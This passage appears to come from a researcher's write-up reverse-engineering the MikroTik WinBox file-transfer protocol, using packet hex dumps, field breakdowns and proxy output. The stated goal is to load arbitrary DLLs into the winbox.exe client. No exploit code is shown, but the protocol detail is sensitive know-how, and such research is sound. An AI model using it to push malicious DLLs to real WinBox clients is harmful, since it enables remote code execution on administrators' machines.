0020  fe 01 20 63 df 5e f4 36  ac c8 d0 21 ad 3b 80 18   .. c.^.6 ...!.;..
0030  16 a0 b5 72 00 00 01 01  08 0a 00 00 7b 4d 1d e3   ...r.... ....{M..
0040  67 2a e2 02 69 6e 64 65  78 00 00 00 00 00 00 01   g*..inde x.......
0050  00 d0 00 00 00 00 31 34  33 39 36 39 33 33 34 35   ......14 39693345
0060  20 35 30 32 33 31 34 20  72 6f 74 65 72 6f 73 2e    502314  roteros.
0070  64 6c 6c 20 32 2e 39 2e  34 36 0a 32 36 36 35 33   dll 2.9. 46.26653
0080  35 39 34 33 31 20 33 32  37 33 31 20 61 64 76 74   59431 32 731 advt
0090  6f 6f 6c 2e 64 6c 6c 20  32 2e 39 2e 34 36 0a 38   ool.dll  2.9.46.8
00a0  34 35 36 35 35 37 32 37  20 34 30 36 30 38 20 64   45655727  40608 d
00b0  68 63 70 2e 64 6c 6c 20  32 2e 39 2e 34 36 0a 33   hcp.dll  2.9.46.3
00c0  30 33 39 35 30 36 36 39  35 20 33 33 32 31 39 35   03950669 5 332195
00d0  20 73 65 63 75 72 65 2e  64 6c 6c 20 32 2e 39 2e    secure. dll 2.9.
00e0  34 36 0a 31 39 32 39 30  32 36 36 30 20 34 38 34   46.19290 2660 484
00f0  39 20 73 79 73 74 65 6d  2e 64 6c 6c 20 32 2e 39   9 system .dll 2.9
0100  2e 34 36 0a 31 37 30 33  32 35 34 35 34 37 20 39   .46.1703 254547 9
0110  33 31 33 31 20 77 6c 61  6e 32 2e 64 6c 6c 20 32   3131 wla n2.dll 2
0120  2e 39 2e 34 36 0a                                  .9.46.

Looking at the first byte of the packet (0xe2) we see that is 226 bytes long. The second byte of the packet is 0x02, which is the same as the first packet. At 0x4f is a 0x01. On the first packet is a 0x00, this may indicate it is a reply to the packet. The 0xd0 at 0x51 may possibly be a length of the data indicator. The rest of the packet looks familar, from when we originally/briefly investigated the Winbox files. Going back to the *.info files, we see:

[box] $ cat *info | wc -c
208
[box]$ printf "%02x\n" 208
d0

So the 0xd0 at 0x51 seems to be (at least) indicate the length of the data. So far, so good.

Moving onto the next packet from the server, we see:

Client -> Server:
Packet data starts at 0x42:

0000  52 54 00 12 34 56 00 ff  fb 19 fe 96 08 00 45 00   RT..4V.. ......E.
0010  00 48 ca 04 40 00 40 06  f3 55 c0 a8 fe 01 c0 a8   .H..@.@. .U......
0020  fe 02 df 5e 20 63 d0 21  ad 3b f4 36 ad ac 80 18   ...^ c.! .;.6....
0030  00 36 2a e5 00 00 01 01  08 0a 1d e3 67 2d 00 00   .6*..... ....g-..
0040  7b 4d 12 02 72 6f 74 65  72 6f 73 2e 64 6c 6c 00   {M..rote ros.dll.
0050  ff ed 00 00 00 00

Another packet with length / tag information, and another file download. The file name appears to be mispelt (roteros.dll verus routeros.dll, which would seem to indicate the filename field is of fixed length. We still don't have much more information regarding the bytes at 0x50 - 0x55.

Moving onto the response from the server (this should get more interesting, as it's a more "dynamic" request, and presumbly much larger):

Server -> Client
Packet data starts at 0x42:

0000  00 ff fb 19 fe 96 52 54  00 12 34 56 08 00 45 00   ......RT ..4V..E.
0010  05 dc d7 87 40 00 40 06  e0 3e c0 a8 fe 02 c0 a8   ....@.@. .>......
0020  fe 01 20 63 df 5e f4 36  ad ac d0 21 ad 4f 80 10   .. c.^.6 ...!.O..
0030  16 a0 30 af 00 00 01 01  08 0a 00 00 7b 4f 1d e3   ..0..... ....{O..
0040  67 2d ff 02 72 6f 74 65  72 6f 73 2e 64 6c 6c 01   g-..rote ros.dll.
0050  ff ed 00 00 00 00 1f 8b  08 08 e4 36 bc 46 00 03   ........ ...6.F..
0060  72 6f 74 65 72 6f 73 2e  64 6c 6c 00 e4 fd 0d 7c   roteros. dll....|
0070  14 d5 d5 38 00 cf 26 4b  b2 e2 62 16 58 35 6a d4   ...8..&K ..b.X5j.
0080  a8 51 a1 a0 26 1a 95 14  b0 21 61 93 a8 44 27 19   .Q..&... .!a..D'.
0090  f6 2b 31 09 2a da 35 45  8d 64 17 50 09 06 37 b1   .+1.*.5E .d.P..7.
00a0  8c e3 b4 54 c1 8f aa 15  95 b6 56 6d a5 16 11 15   ...T.... ..Vm....
00b0  35 92 3c 59 50 6c 11 d3  8a 82 1a 35 ea c5 c4 36   5.<YPl.. ...5...6
00c0  7e 01 8a 32 ef 39 e7 ce  ec ce ec 6e 10 db 3e ff   ~..2.9.. ...n..>.
00d0  e7 7d 7f 2f 3f cd ee ce  dc 8f 73 cf 3d f7 7c dd   .}./?... ..s.=.|.
00e0  73 cf ad ae 5b 2e 64 0a  82 60 87 ff 35 4d 10 d6   s...[.d. .`..5M..
00f0  0b fc 5f a9 f0 fd ff da  e1 ff c3 8e 7f f6 30 61   .._..... ......0a
0100  ed 21 af 9e b0 de 36 eb  d5 13 66 87 ae 6a cd 6f   .!....6. ..f..j.o
0110  99 7f ed 4f e7 5f 7a 75  fe e5 97 5e 73 cd b5 e1   ...O._zu ...^s...
0120  fc cb ae c8 9f 1f b9 26  ff aa 6b f2 67 5e 2c e5   .......& ..k.g^,.
0130  5f 7d ed dc 2b 4e 1f 33  66 74 81 de 86 e8 11 84   _}..+N.3 ft......
0140  59 b6 d1 ff ff c2 c0 39  1b 2a 8c 76 fb 85 c3 4e   Y......9 .*.v...N
0150  3a d4 96 31 45 c8 ca 11  84 39 e3 05 e1 38 78 e8   :..1E... .9...8x.
0160  d2 ff cf cf 11 e8 1b 7e  cf e0 70 db 74 f8 e9 df   .......~ ..p.t...
0170  f0 78 fa 91 3b 77 3c 8d  0b 2a f0 7a f8 c7 c5 8b   .x..;w<. .*.z....
0180  d0 47 cb 58 61 ff 95 d8  d9 58 61 2d b6 2f 8c 13   .G.Xa... .Xa-./..
0190  da 3f 4f 37 ca f1 02 7b  ef 20 90 f1 03 ff 9d 1e   .?O7...{ . ......
01a0  be 62 51 18 3e 99 3d 87  03 84 63 b5 5b cb cc 81   .bQ.>.=. ..c.[...
01b0  ff 4e 9f 7b 69 f8 52 f8  3e 77 9c c0 c7 ee 86 cf   .N.{i.R. >w......
01c0  d1 39 96 72 a5 82 d0 75  fa e5 e1 6b e7 b7 ea 4d   .9.r...u ...k...M
01d0  94 e6 10 6e 84 e3 d2 94  9b 6b 2a 27 ea e5 f2 d3   ...n.... .k*'....
01e0  94 9b cf 3b de fe 3e 60  77 0e bc 1f 80 cf 13 53   ...;..>` w......S
01f0  ca 95 9e 7e 59 6b 2b fd  38 16 db 1b 9b 76 ac ed   ...~Yk+. 8....v..
0200  d8 de 15 bc 3d c2 39 e0  5e 08 e1 98 ad e5 a9 bd   ....=.9. ^.......
0210  ab 78 39 9a 13 98 1b 9c  3e e1 9a 94 72 00 5f eb   .x9..... >...r._.
0220  fc cb b1 6d 9a 33 40 ce  97 f0 f1 8b 74 e5 ae 98   ...m.3@. ....t...
0230  77 2d 14 e4 73 08 b4 f1  3e 7c dc 3c 2e b9 5c 59   w-..s... >|.<..\Y
0240  5a c0 ff ff ff ff e0 9f  57 fe d0 ef 93 a2 43 4e   Z....... W.....CN
0250  a5 cd 19 d5 6c 39 1d 8f  c1 43 79 71 81 5d 69 70   ....l9.. .Cyq.]ip
0260  29 d5 0e f9 92 02 87 ec  2c 60 67 7c 31 4a 90 7b   )....... ,`g|1J.{
0270  a1 18 96 59 b1 b1 a8 ab  73 77 ce 8a ae ce 8d e1   ...Y.... sw......
0280  7a e5 70 98 76 57 e7 b6  b0 47 39 d6 05 df 06 c7   z.p.vW.. .G9.....
0290  2c 37 ff 8b 0e da 4b 5e  9f 7f 94 92 d9 d9 15 fe   ,7....K^ ........
02a0  42 db ca 4b d3 c3 d6 41  35 7c 8a 20 bb 0b 58 60   B..K...A 5|. ..X`
02b0  47 b6 50 b4 4d a6 57 31  3b 71 06 56 0c cf 3a b5   G.P.M.W1 ;q.V..:.
02c0  88 cb 68 3e 52 51 b4 9b  ca 0f ab 57 7c 59 df d8   ..h>RQ.. ...W|Y..
02d0  d4 b0 d1 29 e0 6f 28 df  6e 94 7f 98 8a 76 85 e7   ...).o(. n....v..
02e0  c5 68 68 0f 23 38 ec c2  ee 6c 81 fd 63 63 b6 b0   .hh.#8.. .l..cc..
02f0  eb 14 4d d3 96 73 20 d5  05 82 ba e1 54 2c 74 10   ..M..s . ....T,t.
0300  f0 15 69 6c dd 5b d9 82  3c dd 0c df 0a 78 b2 eb   ..il.[.. <....x..
0310  5a 68 91 3d 0a df 62 82  13 1e 16 75 ed 6a 82 27   Zh.=..b. ...u.j.'
0320  ea 3a 2c a1 b7 ef 7d 16  fb 93 3f 8c 0e e5 3e 83   .:,...}. ..?...>.
0330  f5 15 8f 43 9e 0d 38 9d  55 60 97 ed 05 6c 3a 54   ...C..8. U`...l:T
0340  de 1c dd 6b 3b ff ff aa  ab 9b 57 f3 3e 13 2f ff   ...k;... ..W.>./.
0350  ac 51 7e 56 01 d6 a1 f2  63 b0 7c b7 09 bf 5e 2c   .Q~V.... c.|...^,
0360  ea 60 2b fb b2 11 15 ab  66 8c 75 ad cf c7 06 66   .`+..... f.u....f
0370  16 d8 d9 9a 1e 2c ac ae  3d c5 0c 0f 95 d7 8b b2   .....,.. =.......
0380  c6 de a4 e6 b0 3d e8 b2  e1 a1 52 68 a4 1b 7f e5   .....=.. ..Rh....
0390  ac 1b 85 df 1b ba e3 ef  a5 66 27 fb 9f 37 b3 85   ........ .f'..7..
03a0  ba 98 f0 c8 52 97 4b ee  56 4b ed 5a c4 21 b2 f7   ....R.K. VK.Z.!..
03b0  4f cb 10 82 b1 72 07 f6  13 90 b7 2b 0d df 6e ee   O....r.. ...+..n.
03c0  86 f2 ec 94 c3 04 41 71  61 11 ad b6 60 33 b5 ca   ......Aq a...`3..
03d0  c6 99 9e e5 e3 b3 a2 2e  f9 43 24 44 97 12 71 28   ........ .C$D..q(
03e0  0d ce e8 12 a7 10 29 eb  dc 11 ce 56 32 25 4d 74   ......). ...V2%Mt
03f0  04 14 9f 13 88 2c 5b c9  a8 d5 44 67 40 6e 74 aa   .....,[. ..Dg@nt.
0400  0d 4c 62 af 1d 92 21 28  59 72 5e 01 90 4a 68 9c   .Lb...!( Yr^..Jh.
0410  b0 5f f0 69 e2 6c 89 2d  38 12 20 59 8f 72 41 bd   ._.i.l.- 8. Y.rA.
0420  62 6f 7d 63 03 f5 c9 5b  6f 70 28 e5 4e 98 6c cf   bo}c...[ op(.N.l.
0430  54 8f 33 52 aa 46 98 8f  dd 86 8d 64 ca c5 d4 c8   T.3R.F.. ...d....
0440  78 68 04 3a 9c a9 ff ff  48 ce 68 8f cb d4 65 ac   xh.:.... H.h...e.
0450  1c e7 58 f0 b1 a3 a0 f1  00 35 3e 98 51 d4 a5 77   ..X..... .5>.Q..w
0460  c0 d7 11 c2 de 06 7d b8  b5 88 33 94 2d 68 0e 89   ......}. ..3.-h..
0470  65 9f 42 10 36 b8 a2 3d  4e b9 cd 29 43 89 aa 29   e.B.6..= N..)C..)
0480  3a 0d 6b ef 2d 1f b1 de  df 4e 4e ad 37 cd 52 cf   :.k.-... .NN.7.R.
0490  a7 44 5c 12 8c a7 d9 16  1a 25 68 00 d8 16 ac 52   .D\..... .%h....R
04a0  ee 80 0a a5 72 b9 43 0c  65 41 43 3e 76 0b 3c 85   ....r.C. eAC>v.<.
04b0  47 4a a6 0f 1a 87 91 4d  81 22 66 ac 24 b7 72 4b   GJ.....M ."f.$.rK
04c0  da 56 4a 93 5a 99 66 6d  25 fd 18 0e 4d 33 86 aa   .VJ.Z.fm %...M3..
04d0  83 18 fb eb 05 a9 f5 66  25 d7 83 c9 54 1b 06 a0   .......f %...T...
04e0  ba 5b 69 73 b0 4d d9 19  b8 00 50 9a 85 ec d4 c8   .[is.M.. ..P.....
04f0  2f 0a 08 62 9c 53 07 3d  68 a3 56 e1 51 49 85 3d   /..b.S.= h.V.QI.=
0500  9c e3 0b 1d 22 68 f9 12  eb 3c 89 0f 2c 5b 82 fe   ...."h.. .<..,[..
0510  fd 9a 18 90 d8 94 c3 f1  91 4b ef b0 3b de 5f 3e   ........ .K..;._>
0520  74 d4 6c 03 e2 a4 1e fc  2c d7 45 55 8b b6 55 85   t.l..... ,.EU..U.
0530  1b 80 52 c7 35 0b d4 93  9f 69 39 19 82 9c 09 af   ..R.5... .i9.....
0540  a2 6d 2e 21 3c 4d 8d ff  ff f4 01 a4 3e f6 d7 7b   .m.!<M.. ....>..{
0550  80 8b 14 17 50 c7 7e 89  79 ec 54 7d 6a 83 2b 7c   ....P.~. y.T}j.+|
0560  28 74 ee 62 2b ee cf 16  82 4d 12 5b 74 77 36 cc   (t.b+... .M.[tw6.
0570  c3 7c f8 1b a8 7b 96 13  f1 97 f2 56 2b 2c b3 61   .|...{.. ...V+,.a
0580  ca 34 18 7a 24 17 6a e2  94 b0 3f ed d7 b4 98 67   .4.z$.j. ..?....g
0590  15 30 20 0d 80 8f b6 e5  09 72 2c 3c 4e d4 5a 81   .0 ..... .r,<N.Z.
05a0  ac f3 d8 b6 89 99 82 ec  59 85 08 8d f4 44 bb dd   ........ Y....D..
05b0  9d bb 81 b0 b3 7c b8 b2  e4 b6 3e c5 db a3 78 56   .....|.. ..>...xV
05c0  c9 de ed 9d db 64 cf 26  9d e4 1d 81 d0 6d 6e 07   .....d.& .....mn.
05d0  70 a0 4d aa b7 af 56 92  3d 3b 55 cf 5a 91 fd f8   p.M...V. =;U.Z...
05e0  d6 6c 41 f1 ac 45 9c 79  b7 cb                     .lA..E.y ..

OK… that's a lot of data. Starting from the packet start (0x42), we see:

0040  67 2d ff 02 72 6f 74 65  72 6f 73 2e 64 6c 6c 01   g-..rote ros.dll.
0050  ff ed 00 00 00 00 1f 8b  08 08 e4 36 bc 46 00 03   ........ ...6.F..
Breakdown:

On a hunch / obvious sign, we check what the roteros.dll file contains:

[box] $ xxd roteros.dll | head
0000000: 1f8b 0808 e436 bc46 0003 726f 7465 726f  .....6.F..rotero
0000010: 732e 646c 6c00 e4fd 0d7c 14d5 d538 00cf  s.dll....|...8..
0000020: 264b b2e2 6216 5835 6ad4 a851 a1a0 261a  &K..b.X5j..Q..&.
0000030: 9514 b021 6193 a844 2719 f62b 3109 2ada  ...!a..D'..+1.*.
0000040: 3545 8d64 1750 0906 37b1 8ce3 b454 c18f  5E.d.P..7....T..
0000050: aa15 95b6 566d a516 1115 3592 3c59 506c  ....Vm....5.<YPl
0000060: 11d3 8a82 1a35 eac5 c436 7e01 8a32 ef39  .....5...6~..2.9
0000070: e7ce ecce ec6e 10db 3eff e77d 7f2f 3fcd  .....n..>..}./?.
0000080: eece dc8f 73cf 3df7 7cdd 73cf adae 5b2e  ....s.=.|.s...[.
0000090: 640a 8260 87ff 354d 10d6 0bfc 5fa9 f0fd  d..`..5M...._...

So, we've got the start of the file in the network traffic. We still need to indentify some of the data in the packet. On another hunch, we check the filesize of the roteros.dll:

[box] $ ls -alF roteros.dll
-rw-r--r-- 1 root root 502314 2007-08-10 19:59 roteros.dll
[box] $ printf "%02x\n" 502314
7aa2a

Ok, so far not so good. With not much else to go on, let's try and find the next packet marker and go from there. However, just having the routeros.dll available to us gives us a significant advantage: we have known plaintext to work from.

Based on our network analysis so far, it should be at 0x44 + 0xff == 0x143.

Server -> Client

0130  5f 7d ed dc 2b 4e 1f 33  66 74 81 de 86 e8 11 84   _}..+N.3 ft......
0140  59 b6 d1 ff ff c2 c0 39  1b 2a 8c 76 fb 85 c3 4e   Y......9 .*.v...N

Hmm, looking around in roteros.dll we see:

roteros.dll:

00000e0: 1f33 6674 81de 86e8 1184 59b6 d1c2 c039  .3ft......Y....9
00000f0: 1b2a 8c76 fb85 c34e 3ad4 9631 45c8 ca11  .*.v...N:..1E...
0000100: 8439 e305 e138 78e8 d2ff cfcf 11e8 1b7e  .9...8x........~

We can synchronize our network traffic from 0x136 to our roteros.dll file at 0xe0. The synchronization stops at 0x142 in the network stream, and continues at 0x145. There are no breaks in the roteros.dll file between 0xec and 0xed.

This gives us the two bytes 0xff 0xff which would be another 255 byte block, with a tag of 0xff, which would probably mean "continue from last packet stream read in".

We have enough knowledge of the network protocol for what we've seen so far to process the network stream, and decode it.

We take a look at the next client → server protocol, looking for a PSH|ACK from 192.168.254.2 to 192.168.254.1:

Client -> Server
Packet data starts at 0x42

0000  52 54 00 12 34 56 00 ff  fb 19 fe 96 08 00 45 00   RT..4V.. ......E.
0010  00 48 ca 14 40 00 40 06  f3 45 c0 a8 fe 01 c0 a8   .H..@.@. .E......
0020  fe 02 df 5e 20 63 d0 21  ad 4f f4 37 af ad 80 18   ...^ c.! .O.7....
0030  01 f5 26 d2 00 00 01 01  08 0a 1d e3 67 78 00 00   ..&..... ....gx..
0040  7b 52 12 02 72 6f 74 65  72 6f 73 2e 64 6c 6c 00   {R..rote ros.dll.
0050  ff ed 00 00 ff ed                                  ......
Packet breakdown

Having a look at the response to the client request, we see:

Server -> Client
Data packet starts at 0x42

0000  00 ff fb 19 fe 96 52 54  00 12 34 56 08 00 45 00   ......RT ..4V..E.
0010  05 dc d7 b5 40 00 40 06  e0 10 c0 a8 fe 02 c0 a8   ....@.@. ........
0020  fe 01 20 63 df 5e f4 37  af ad d0 21 ad 63 80 10   .. c.^.7 ...!.c..
0030  16 a0 41 ec 00 00 01 01  08 0a 00 00 7b 55 1d e3   ..A..... ....{U..
0040  67 78 ff 02 72 6f 74 65  72 6f 73 2e 64 6c 6c 01   gx..rote ros.dll.
0050  ff ed 00 00 ff ed 87 18  a9 ee 3f e8 98 43 af 88   ........ ..?..C..
0060  56 b4 e2 e5 51 3e 00 8d  74 8c 65 74 da 95 a0 88   V...Q>.. t.et....
0070  06 df c1 00 93 c6 e3 61  aa d9 2b a3 88 39 78 46   .......a ..+..9xF
0080  4d e3 b6 11 9a 46 59 48  d3 e0 aa 7b c7 63 61 4d   M....FYH ...{.caM
0090  e3 8b 6d 61 4d 63 f0 d7  61 4d e3 ce 5b c2 9a c6   ..maMc.. aM..[...
00a0  15 8f 86 35 0d ff 86 09  9a 6a ba 11 c7 35 86 1f   ...5.... .j...5..
00b0  3f 1b 37 3c 22 cd f0 b6  5d f2 a5 da 36 8b 67 8d   ?.7<"... ]...6.g.
00c0  45 e3 fa f1 88 76 0d f0  76 b9 0a 63 b8 59 94 52   E....v.. v..c.Y.R
00d0  36 77 98 52 96 42 a8 24  d5 86 95 b2 1c 37 ea 3d   6w.R.B.$ .....7.=
00e0  11 ac de 68 8c c5 4a b5  44 8d 42 ea c1 2f 70 e5   ...h..J. D.B../p.
00f0  a2 14 da ea 51 6d 50 77  fc 69 bc 66 d4 fc 3f f8   ....QmPw .i.f..?.
0100  82 1a 41 eb 8f 7b 9c 3f  9b 58 7b e0 dc 5c f7 34   ..A..{.? .X{..\.4
0110  59 03 43 65 12 80 8a 40  19 bf 67 7c ac 25 2b 68   Y.Ce...@ ..g|.%+h
0120  a7 02 85 e9 c1 5c 83 72  02 87 5a c2 26 7c 81 81   .....\.r ..Z.&|..
0130  9f 13 c6 e2 65 29 30 e0  2e 69 8c e5 9b 77 e2 80   ....e)0. .i...w..
0140  9b 16 c5 ff ff c8 60 c0  06 57 1a 70 d3 fa 16 77   ......`. .W.p...w
0150  e8 3c 39 ca 06 59 1c bd  e6 07 3f c7 f6 9c b1 e6   .<9..Y.. ..?.....
0160  3d cf c4 d4 3c e5 0c 35  f7 bb 46 a9 d9 31 7a cd   =...<..5 ..F..1z.
0170  d3 3e c7 95 fd 8c 35 cf  8e ad f9 07 ab d1 43 56   .>....5. ......CV
0180  74 cd 59 c2 a0 6b 02 de  58 60 69 28 fe 95 c7 f4   t.Y..k.. X`i(....
0190  35 de 2c c1 ee 0b f7 dd  13 ff 46 ff bc fa 51 d6   5.,..... ..F...Q.
01a0  bb 8b 60 bd 7b e5 69 94  8d d2 e5 09 e1 bb d9 b1   ..`.{.i. ........
01b0  8b 9d 6c b7 e2 7a 27 58  68 b1 8b 8d 49 19 a9 23   ..l..z'X h...I..#
01c0  07 eb 08 aa e3 49 64 ce  3f 8e d7 54 94 e3 79 b6   .....Id. ?..T..y.
01d0  25 ca 3a 43 e4 db 5f e6  7d 82 a5 41 f8 42 8e e7   %.:C.._. }..A.B..
01e0  85 1d cc f0 6f ec 8c 78  1c 5c 27 22 c2 4d 09 08   ....o..x .\'".M..
01f0  37 df 97 d6 90 70 83 fb  bb 28 7e 24 3e 1d 12 20   7....p.. .(~$>..
0200  7e fb 07 50 dd e5 78 92  6c fe f4 7b 10 5e e4 b3   ~..P..x. l..{.^..
0210  cb 86 89 35 25 36 b6 19  be 54 54 99 f7 d9 bf 68   ...5%6.. .TT....h
0220  88 f1 af cb 37 22 81 4e  e1 6e a9 1f a4 01 d1 91   ....7".N .n......
0230  9d aa 2e 4a a3 77 cd a3  7f 8e e5 7f b7 ab 83 c2   ...J.w.. ........
0240  aa 76 8d 35 ff ff 76 0c  a8 d3 a8 ce 12 a1 d4 34   .v.5..v. .......4
0250  ac 08 24 2e 77 10 2d 3f  a5 3a 3e 6f f8 bc 55 ea   ..$.w.-? .:>o..U.
0260  26 68 36 8d 8e 5f ef 67  df 0a bf e3 7b 63 f0 db   &h6.._.g ....{c..
0270  ba fc 3b e3 57 fb d9 d8  f8 5d f7 d0 98 f8 65 7f   ..;.W... .]....e.
0280  3b fc 4a 62 f1 1b ba ed  3b e3 f7 ce bf c6 c6 ef   ;.Jb.... ;.......
0290  c3 ca 31 f1 db f1 af 6f  85 df 73 4f c5 e0 57 fa   ..1....o ..sO..W.
02a0  dd f1 bb fa 0c f8 3d fb  d8 98 f8 69 be 1d 7e d3   ......=. ...i..~.
02b0  62 f1 6b aa f9 ce f8 3d  fa cf b1 f1 9b f8 c8 98   b.k....= ........
02c0  f8 2d fd e7 b7 c2 af f6  4f 31 f8 25 7e 77 fc 8e   .-...... O1.%~w..
02d0  0f 8c 8d df 95 63 8f bf  e6 81 28 fc c6 66 ad ef   .....c.. ..(..f..
02e0  fc 31 06 bf ef df 36 9c  a9 9f 99 4b 94 7f bb 5a   .1....6. ...K...Z
02f0  ee 8c ad a5 a7 e6 bb d5  f2 65 80 96 c5 6f aa 65   ........ .e...o.e
0300  42 6c 2d d7 ac 38 43 2d  23 57 85 07 02 b4 a2 47   Bl-..8C- #W.....G
0310  2a 19 b1 32 fc 61 0f ae  3b 13 22 8a 50 91 45 5d   *..2.a.. ;.".P.E]
0320  1c 54 35 e8 47 43 80 4a  24 62 dc 70 99 e1 f2 48   .T5.GC.J $b.p...H
0330  0d 28 64 44 4b 08 8b 9e  24 39 23 7c c7 26 b2 16   .(dDK... $9#|.&..
0340  0c 7d 1a 5a 0b ff ff b0  dc 37 ad 07 c6 3d a1 f5   .}.Z.... .7...=..
0350  e0 91 27 22 eb c1 af 76  8d b5 1e 78 f1 4b 59 ec   ..'"...v ...x.KY.
0360  39 82 6c 07 a5 1f 54 7e  54 ed 25 9d 2b be b2 df   9.l...T~ T.%.+...
0370  05 38 8c fd d5 11 fa 1a  be 79 16 ba 51 59 09 2d   .8...... .y..QY.-
0380  6c 82 95 52 db 23 09 8d  e6 e7 f4 9e 36 1d 39 68   l..R.#.. ....6.9h
0390  df 9b 25 ec 31 7b 12 f4  68 f4 39 6e 1e 7c ba ff   ..%.1{.. h.9n.|..
03a0  a4 0e 6d a7 f4 79 e6 7d  9d 40 af 36 83 62 33 48   ..m..y.} .@.6.b3H
03b0  7e f4 38 f7 a6 f9 b9 41  69 a8 85 25 6e f8 07 7a   ~.8....A i..%n..z
03c0  91 f3 f4 9a 31 0c cf d9  b5 71 8b 5c e3 02 e7 7b   ....1... .q.\...{
03d0  86 f4 ae c9 81 b3 37 bc  ae d1 9c d6 04 ce c2 e7   ......7. ........
03e0  d7 9a 40 3c 3e 83 1a cf  69 ad 92 13 34 fb 26 a2   ..@<>... i...4.&.
03f0  6b 97 21 83 f9 fe 47 a0  92 60 8a 6f f7 6a b3 25   k.!...G. .`.o.j.%
0400  a3 b9 fe 1a 8d 52 ae 35  6f 69 16 11 72 30 01 ed   .....R.5 oi..r0..
0410  cc d9 8f 86 50 88 0b ce  e6 49 08 46 63 54 ca 0d   ....P... .I.FcT..
0420  f4 ed 9c 21 3a 81 e9 17  00 8a 52 0e 0d 99 ac b8   ...!:... ..R.....
0430  fb a2 32 26 4b 5d 8b 44  9b 43 b2 ef 66 6f ff 94   ..2&K].D .C..fo..
0440  07 4a a4 72 c1 63 ff ff  54 ce c1 d6 e2 da a3 af   .J.r.c.. T.......
0450  dc dd af c7 c6 3e 37 1b  80 28 42 77 14 84 74 65   .....>7. .(Bw..te
0460  ee 1c 10 0a d8 f7 6a d4  03 e3 6e 91 20 e4 71 08   ......j. ..n. .q.
0470  f0 3b 70 55 a8 5c 7b 54  b9 54 b5 dc f1 9f a8 e5   .;pU.\{T .T......
0480  da 79 b9 07 ff a3 96 6b  17 a5 2f d8 e5 38 e9 fa   .y.....k ../..8..
0490  ef 0f 11 43 d2 12 31 f6  03 31 a2 40 d5 53 c1 f1   ...C..1. .1.@.S..
04a0  27 d1 0d e6 b1 6a e8 02  af 43 cb 7b c6 db 6c de   '....j.. .C.{..l.
04b0  22 b4 29 42 9b 58 c2 be  8f db f4 37 95 07 3e 8c   ".)B.X.. ...7..>.
04c0  2a d9 40 25 d3 f1 66 93  e4 f7 1d 2b 33 7b 93 50   *.@%..f. ...+3{.P
04d0  61 d4 93 93 e5 fd 78 d9  ae 84 7d f4 00 a8 40 37   a.....x. ..}...@7
04e0  95 06 3e 8e 2a b7 83 ca  35 01 71 ab 7d c7 24 61   ..>.*... 5.q.}.$a
04f0  57 b9 d9 fb 31 ce 28 f7  0e f3 73 73 60 c0 28 75   W...1.(. ..ss`.(u
0500  7d e6 e7 8e 39 6c da 2f  4a d8 ba db a9 81 50 62   }...9l./ J.....Pb
0510  17 5b e7 98 a0 29 61 a9  b7 51 4a b0 70 87 bb ab   .[...)a. .QJ.p...
0520  ff 0f 50 2e 0a f2 5e 82  fc d2 71 8c 24 0c 90 b7   ..P...^. ..q.$...
0530  01 4a 12 41 de 1a 82 dc  4d 84 93 00 f2 7e 67 08   .J.A.... M....~g.
0540  f2 36 36 20 21 e4 d3 ff  ff 4e 15 f2 56 77 57 e0   .66 !... .N..VwW.
0550  e6 28 b0 bb 09 ac ff 18  91 48 12 36 57 bb ae 92   .(...... .H.6W...
0560  8e ab 10 85 76 15 a2 c8  6a 9c e1 ce 08 ba 37 b3   ....v... j.....7.
0570  4b 5d 78 ad 40 68 2f 17  d9 2e f8 52 ba d8 7d 28   K]x.@h/. ...R..}(
0580  28 ec 91 85 bd fd 83 a7  46 68 83 1b 06 78 14 56   (....... Fh...x.V
0590  10 0e 2d e8 42 60 87 cc  77 c2 12 8a 59 ff df d1   ..-.B`.. w...Y...
05a0  7f 52 d0 ec ad 1c 87 36  11 4d 34 cf 0a 4d 52 e1   .R.....6 .M4..MR.
05b0  7e ed 57 9e 3a ab 56 2a  dc e6 2e 90 a1 44 ba 67   ~.W.:.V* .....D.g
05c0  5d b2 c6 8d 07 18 5f 3e  49 77 13 a4 36 91 3d bb   ]....._> Iw..6.=.
05d0  0c 5e ab 92 ab 4a 03 d6  0e a1 4d 43 bd 19 5c 9d   .^...J.. ..MC..\.
05e0  cc 6c 7c e4 e0 65 46 d0  75 93                     .l|..eF. u.

From the start of the packet, we have:

0040  67 78 ff 02 72 6f 74 65  72 6f 73 2e 64 6c 6c 01   gx..rote ros.dll.
0050  ff ed 00 00 ff ed 87 18  a9 ee 3f e8 98 43 af 88   ........ ..?..C..
0060  56 b4 e2 e5 51 3e 00 8d  74 8c 65 74 da 95 a0 88   V...Q>.. t.et....
Packet:
[box] $ expr $((0xffff)) - $((0xffed))
18

Those 18 bytes can be accounted for by the file request/response structure overhead.

Looking at the next request from the client (PSH|ACK) at 192.168.254.1:

0000  52 54 00 12 34 56 00 ff  fb 19 fe 96 08 00 45 00   RT..4V.. ......E.
0010  00 48 ca 1c 40 00 40 06  f3 3d c0 a8 fe 01 c0 a8   .H..@.@. .=......
0020  fe 02 df 5e 20 63 d0 21  ad 63 f4 38 b1 ae 80 18   ...^ c.! .c.8....
0030  01 f5 24 96 00 00 01 01  08 0a 1d e3 67 ab 00 00   ..$..... ....g...
0040  7b 57 12 02 72 6f 74 65  72 6f 73 2e 64 6c 6c 00   {W..rote ros.dll.
0050  ff ed 00 01 ff da                                  ......

The only major difference we see so far is that it appears 0x52 to 0x55 is a 32bit index into the file from where to start reading/writing.

So far, we have a reasonably complete understanding of the network protocol regarding transferring files, and this should be enough to test the loading of arbitrary dll's into the winbox.exe process.

Proxying the network traffic

Summarising what is known about the network traffic, we have:
SEND_FILE data:

     00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
0000 72 6f 74 65 72 6f 73 2e 64 6c 6c 00 ff ed 00 01
0010 ff da
SEND_FILE

We'll start this work by writing a new simple proxy which will just look at the length field/tag field, and pass it to the remote side. For ease of implementation, we'll just point the WinBox client to the local IP address.

The proxy code can be found here, with the below output displayed when we run it (after performing a quick find ~/.wine/drive_c/ -iname *wlan2* ; cd wine_path; rm *dll *crc).

--> Activity for fd 3
--> Connection from:  ('192.168.254.1', 45335)

--> Activity for fd 4
--> In state machine for 'local_client' current state id is  0
---> Got length of 18 bytes, and a tag of 2
---> We need to recv() 18 bytes to complete transfer
---> We got 18 bytes read in, with a total of 18
---> Able to process packet now
----> Ok, got 18 bytes and a command of 2
----> Total bytes we have: 20
----> Length: 18
----> Command: 2
----> Filename: index
----> Destination: 0
----> Bytes to send: 65517
----> Offset: 0
----> In process_packet(): Sending 20 bytes

--> Activity for fd 5
--> In state machine for 'remote_server' current state id is  0
---> Got length of 226 bytes, and a tag of 2
